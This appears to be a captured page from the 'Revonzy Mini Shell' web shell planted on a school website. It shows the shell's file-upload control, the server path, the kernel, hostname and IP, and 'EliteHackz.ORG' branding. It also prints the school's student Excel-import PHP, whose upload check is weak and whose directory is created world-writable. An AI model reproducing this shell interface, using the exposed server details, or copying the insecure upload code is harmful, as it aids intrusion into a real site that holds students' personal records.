Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/b.php

 <?php
require_once('header.php');

require_once('header-left-section.php');
$success_flag="";
$attachement_error="";
?>
 
 <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1>IMPORT STUDENT EXCEL DATA</h1>
          </div>
          <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
              <li class="breadcrumb-item"><a href="dashboard.php">Home</a></li>
              <li class="breadcrumb-item active">Student</li>
			  <li class="breadcrumb-item active">Student Excel Upload</li>
            </ol>
          </div>
        </div>
      </div><!-- /.container-fluid -->
    </section>
	
    <!-- Main content -->
	 
 <form method="POST" autocomplete="off" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" >
    <div class="form-group col-lg-12" style="min-height:700px;">
	<section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-primary">
            <div class="card-header">
              <h3 class="card-title">Student Excel Data Upload</h3>

              <div class="card-tools">
                <button type="button" class="btn btn-tool" data-card-widget="collapse" data-toggle="tooltip" title="Collapse">
                  <i class="fas fa-minus"></i></button>
              </div>
            </div>
			<?php
				if($success_flag==1)
				{
			?>
				
				<div class="alert alert-success">
				<span class="alert-link">Success! </span>Record added successfully.
				</div>	
			<?php
				}
			?>
					
			<?php
				if($success_flag==2)
				{
			?>
				
				<div class="alert alert-danger">
				<span class="alert-link">Failed! </span>This Record Already Exist.
				</div>	
			<?php
				}
			?>
					
          <div class="card-body">
            <div class="row">
			<div class="form-group col-lg-6">
				<label>Select File:</label>
				<input type="file" class="form-control" name="photoimg" placeholder=" Enter photoimg."  required autofocus />
				<label class="error_indicator"><?php  echo $attachement_error; ?></label>	
			</div>
						
			<div class="form-group col-lg-6" style="text-align:center;">
				<label>-</label> <br />
				<button type="submit" class="btn btn-success" name="save_btn" style="width:30%;">Upload Excel</button>
			</div>
		</div>   
<?php
	error_reporting(E_ERROR | E_PARSE);

function generateRandomString($length = 7) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}


	if(isset($_POST['save_btn']))
	{
		?>
		<div style="width:800px; background-color:white; margin:auto;">
			<table class="table table-bordered">
				<thead class="col_head">
					<th class="col_head"width="50">Sr. No</th>
					<th class="col_head"width="100">GR No</th>
					<th class="col_head" width="200">Status</th>
			</thead>
			<tbody>
		<?php
		
		require("reader.php");
		
		$path	=	"excel/";

		if (!file_exists('excel/')) {
            mkdir('excel', 0777, true);
        }

		$name 				= 	$_FILES['photoimg']['name'];
		
		if(strlen($name))
		{
			$valid_formats = array("xlsx","xls");
			
			list($txt, $ext) = explode(".", $name);
			if(in_array($ext,$valid_formats))
			{
				$files	=	array();
				
				$tmp = $_FILES['photoimg']['tmp_name'];
				
				$num = rand(0,15200);
				
				$actual_image_name = session_id().$num.".".strtolower("xls");
				
				if(move_uploaded_file($tmp, $path.$actual_image_name))
				{	
					$file	=	$path.$actual_image_name;
		//$file	=	$_FILES['photoimg']['name'];
		$connection=new Spreadsheet_Excel_Reader(); // our main object
		$connection->read($file);
		$startrow=1;
		
		# Get first sheet
		$sheet = $connection->sheets[0];
		 
		# Get all rows in the sheet
		$rows = $sheet['cells'];
		 
		# Find total number of rows
		$rowCount = count($rows);

		$endrow=$rowCount;
		$col1=1;
		echo "\t <tr> \n";
		for($i=$startrow;$i<=$endrow;$i++)
		{
			$class				=	$connection->sheets[0]["cells"][$i][1];
			$medium				=	$connection->sheets[0]["cells"][$i][2]; 
			$division			=	$connection->sheets[0]["cells"][$i][3]; 
			$roll_no			=	$connection->sheets[0]["cells"][$i][4];   
			$surname			=	$connection->sheets[0]["cells"][$i][5];
			$stud_name			=	$connection->sheets[0]["cells"][$i][6];
			$father_name		=	$connection->sheets[0]["cells"][$i][7];
			$mother_name		=	$connection->sheets[0]["cells"][$i][8];//1
			$father_contact		=	$connection->sheets[0]["cells"][$i][9];
			$mother_contact		=	$connection->sheets[0]["cells"][$i][10];
			$residential_no		=	$connection->sheets[0]["cells"][$i][11];
			$address			=	$connection->sheets[0]["cells"][$i][12];
			$cor_address		=	$connection->sheets[0]["cells"][$i][13];
			$child_desc			=	$connection->sheets[0]["cells"][$i][14];
			$email				=	$connection->sheets[0]["cells"][$i][15];
			$aadhar_number		=	$connection->sheets[0]["cells"][$i][16];
			$religion			=	$connection->sheets[0]["cells"][$i][17];
			$caste				=	$connection->sheets[0]["cells"][$i][18];
			$category			=	$connection->sheets[0]["cells"][$i][19];
			$mother_tongue		=	$connection->sheets[0]["cells"][$i][20];
			$nationality		=	$connection->sheets[0]["cells"][$i][21];//2
			$birth_place		=	$connection->sheets[0]["cells"][$i][22];
			$birth_district		=	$connection->sheets[0]["cells"][$i][23];
			$birth_states		=	$connection->sheets[0]["cells"][$i][24];
			$birth_country		=	$connection->sheets[0]["cells"][$i][25];
			$birth_date			=	$connection->sheets[0]["cells"][$i][26];
		    $gender				=	$connection->sheets[0]["cells"][$i][27];
		    $last_school		=	$connection->sheets[0]["cells"][$i][28];
			$admission_date		=	$connection->sheets[0]["cells"][$i][29];
			$remarks			=	$connection->sheets[0]["cells"][$i][30];
			$no_of_pupil		=	$connection->sheets[0]["cells"][$i][31];
			$stud_id_for_lc		=	$connection->sheets[0]["cells"][$i][32];//3
			$certificate_no		=	$connection->sheets[0]["cells"][$i][33];
			$progress			=	$connection->sheets[0]["cells"][$i][34];
			$conduct			=	$connection->sheets[0]["cells"][$i][35];
			$leaving_school_date=	$connection->sheets[0]["cells"][$i][36];
			$standard_sinse_when=	$connection->sheets[0]["cells"][$i][37];
			$leaving_school_reason=$connection->sheets[0]["cells"][$i][38];
			
			$stud_contact		=	"";
			$blood_group		=	"";
			$height				=	"";
			$weight				=	"";
			$actual_image_name	=	"";
			$actual_image_name1	=	"";
			$actual_image_name2	=	"";
			$advertising_board	=	"";
			$news_paper			=	"";
			$teachers			=	"";
			$friends			=	"";
			$ex_students		=	"";
			$pre_class			=	"";
			$other				=	"";
			$qualification		=	"";
			$occupation			=	"";
			$monthly_income		=	"";
			$office_add			=	"";
			$residential_add	=	"";
			$mother_qualifi		=	"";
			$mother_occupation	=	"";
			$mother_resident_add=	"";
			$gr_no				=	"";
			
			$gr_exsit = $db->get_student_gr_id($class,$medium,$division,$surname,$stud_name,$father_name,$father_contact,$no_of_pupil);
		
			if($gr_exsit=="")
			{
				//echo $class;
				//echo "<br />";	
				//echo "<br />";	
				if($inserted_id=$db->save_student_detail($class,$medium,$division,$roll_no,$surname,$stud_name,$father_name,$mother_name,$acd_year))
				{
					echo "<td>".$i."</td><td>".$no_of_pupil."</td><td><span style='color:Green;'>Record added successfully</span></td>";

					
				}
				if($db->update_student_data1($stud_contact,$father_contact,$mother_contact,$residential_no,$address,$cor_address,$child_desc,$email,$aadhar_number,$religion,$caste,$category,$mother_tongue,$nationality,$inserted_id))
				{
					//echo "<td>".$stud_contact."</td>  Success </td>";
				}
				
				if($db->update_student_data2($birth_place,$birth_district,$birth_states,$birth_country,$birth_date,$gender,$last_school,$admission_date,$remarks,$no_of_pupil,$stud_id_for_lc,$inserted_id))
				{
						//echo "<td>".$birth_district."</td>  Success </td>";
				}
				if($db->update_student_data3($certificate_no,$progress,$conduct,$leaving_school_date,$standard_sinse_when,$leaving_school_reason,$inserted_id))
				{
						//echo "<td>".$inserted_id."</td>  Success </td>";
				}
				else
					{
						echo "<td>".$x."</td> <td>".$roll_no."</td> <td>".$surname." ".$stud_name."</td><td style='color:Orange'> Failed to update</td>";
						$total_not_updated	=	$total_not_updated + 1;
					}
			}
			else
			{
				echo "<td>".$i."</td><td>".$no_of_pupil."</td><td><span style='color:red;'>Registration GR No already exist</span></td>";

			}
	echo "\t</tr>\n";
			
			
			
	
		
			}
		}
		}
		}
		else
		{
			$attachement_error	=	"Please select file";
		}
	?>
		</tbody>
		</table>
		</div>
	<?php
	}
			
	?> 
<label style="color:red;"><b>Note :</b></label><br /><br />
			<p>
			1. Download the given excel file.<br /><br />
			2. Fill Up The All Student Details ..<br /><br />
			3. Its complusory to upload the same Excel Format as given in below link.
			</p>
			<center><a href="upload-format.xls" style="color:green; font-weight:bold; font-size:20px;">Download Excel File</a></center>	
	</div>
   </div>
 </div>
 </div>
 </section>
 </div>
 </form>
  <?php
require_once('footer.php');
?> 

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4